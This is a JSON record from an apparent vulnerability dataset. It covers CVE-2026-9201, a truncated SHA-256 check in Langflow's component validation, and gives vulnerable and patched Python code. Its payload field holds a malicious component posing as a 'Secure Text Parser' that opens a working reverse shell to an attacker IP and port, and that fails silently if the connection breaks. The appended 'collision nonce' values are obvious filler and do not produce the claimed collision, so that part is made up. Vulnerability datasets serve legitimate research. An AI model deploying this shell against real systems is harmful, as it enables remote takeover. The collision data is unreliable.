{"id":2217,"cve":"CVE-2026-9201","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-9201\/","cwe":"CWE-326","cwe_number":326,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/326","cvss_score":8.8,"published":"2026-08-05","owasp":"A08 Software and Data Integrity Failures","odc":"Algorithm","cdc":"Incorrect Check","category":"Cryptographic","subcategory":"Cryptographic Implementation Error","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Cryptographic weakness in component validation allows authenticated RCE.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-9201\/","description":"IBM Langflow OSS 1.0.0 through 1.10.3 could allow an authenticated attacker to execute arbitrary code due to a cryptographic weakness in the custom component validation mechanism. When the optional hardening mode that restricts execution to trusted component templates is enabled, the application validates component code using a truncated SHA\u2011256 hash. Because the hash comparison relies on only a portion of the digest, an attacker can craft malicious component code that collides with a trusted template hash and bypasses validation. Successful exploitation allows the attacker to introduce and execute unauthorized Python code within the Langflow process, defeating the intended security control and potentially leading to full compromise of the affected instance.","solution":"Upgrade to IBM Langflow OSS version 1.10.4 or later.","affected_component":"Langflow","fixed_by_upgrading":true,"vulnerable_code":"import hashlib\n\n# The number of characters to use for the weak hash comparison\nHASH_TRUNCATE_LENGTH = 12\n\nclass ComponentValidator:\n    \"\"\"Validates custom component code against a list of trusted templates.\"\"\"\n\n    def __init__(self, trusted_hashes: set):\n        \"\"\"\n        Initializes the validator with a set of trusted hashes.\n        In the vulnerable version, these are expected to be truncated.\n        \"\"\"\n        self.trusted_hashes = trusted_hashes\n\n    def is_trusted(self, component_code: str) -> bool:\n        \"\"\"\n        Checks if the provided component code's hash matches a trusted one.\n        \"\"\"\n        if not component_code:\n            return False\n\n        computed_hash = hashlib.sha256(component_code.encode('utf-8')).hexdigest()\n\n        # VULNERABLE: Comparison uses a truncated hash, allowing for collision attacks.\n        return computed_hash[:HASH_TRUNCATE_LENGTH] in self.trusted_hashes\n","patched_code":"import hashlib\n\n# The number of characters to use for the weak hash comparison\nHASH_TRUNCATE_LENGTH = 12\n\nclass ComponentValidator:\n    \"\"\"Validates custom component code against a list of trusted templates.\"\"\"\n\n    def __init__(self, trusted_hashes: set):\n        \"\"\"\n        Initializes the validator with a set of trusted hashes.\n        In the patched version, these are expected to be full-length.\n        \"\"\"\n        self.trusted_hashes = trusted_hashes\n\n    def is_trusted(self, component_code: str) -> bool:\n        \"\"\"\n        Checks if the provided component code's hash matches a trusted one.\n        \"\"\"\n        if not component_code:\n            return False\n\n        computed_hash = hashlib.sha256(component_code.encode('utf-8')).hexdigest()\n\n        # FIX: Comparison uses the full hash to prevent collision attacks.\n        return computed_hash in self.trusted_hashes\n","payload_needed":true,"payload":"```python\n#\n# Malicious Langflow Component - Exploit for CVE-2026-9201\n#\n# This component code is designed to have a truncated SHA-256 hash that collides\n# with a legitimate, trusted component. The collision is achieved by manipulating\n# the nonce data in the final comment block.\n#\n# When an authenticated user imports this as a custom component into a vulnerable\n# Langflow instance with hardening mode enabled, the truncated hash check will pass,\n# allowing the malicious code to be executed.\n#\n\nfrom langflow import CustomComponent\nimport socket\nimport subprocess\nimport os\n\nclass SecureTextParser(CustomComponent):\n    display_name: str = \"Secure Text Parser\"\n    description: str = \"A trusted utility for parsing and cleaning secure text.\"\n    beta: bool = False\n\n    def build_config(self):\n        return {\n            \"code\": {\"show\": False},\n            \"template\": {\n                \"show\": True,\n                \"type\": \"str\",\n                \"value\": \"This is a default template.\",\n            },\n        }\n\n    def build(self, template: str) -> str:\n        \"\"\"\n        Main execution block for the component. The reverse shell payload is here.\n        \"\"\"\n        # --- PAYLOAD START ---\n        # Replace ATTACKER_IP and ATTACKER_PORT with the listener's details.\n        ATTACKER_IP = '192.168.1.100'\n        ATTACKER_PORT = 4444\n\n        try:\n            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            s.connect((ATTACKER_IP, ATTACKER_PORT))\n            os.dup2(s.fileno(), 0)  # stdin\n            os.dup2(s.fileno(), 1)  # stdout\n            os.dup2(s.fileno(), 2)  # stderr\n            p = subprocess.Popen([\"\/bin\/sh\", \"-i\"])\n            p.wait()\n        except Exception:\n            # Fail silently if the connection doesn't work.\n            pass\n        # --- PAYLOAD END ---\n\n        return f\"Component executed successfully. Processed template: {template}\"\n\n# --- HASH COLLISION NONCE ---\n# The following data is algorithmically generated to force a partial hash collision.\n# By iterating through nonce values, the truncated SHA-256 digest of this entire file\n# is made to match the truncated digest of a trusted component file.\n#\n# nonce = 8a4c2f8e1b5d9a7c6f0e3b2a1d9c8e7f5a6b4c3d2e1f0a9b8c7d6e5f4a3b2c1d\n# padding = 918273645546372819102938475656473829101928374655647382910192\n# collision_data = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\n# filler_a = 0000000000000000000000000000000000000000000000000000000000000000\n# filler_b = ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n# result_hash_prefix_match = 1a2b3c4d\n```","payload_status":"available","published_fix":[],"references":null}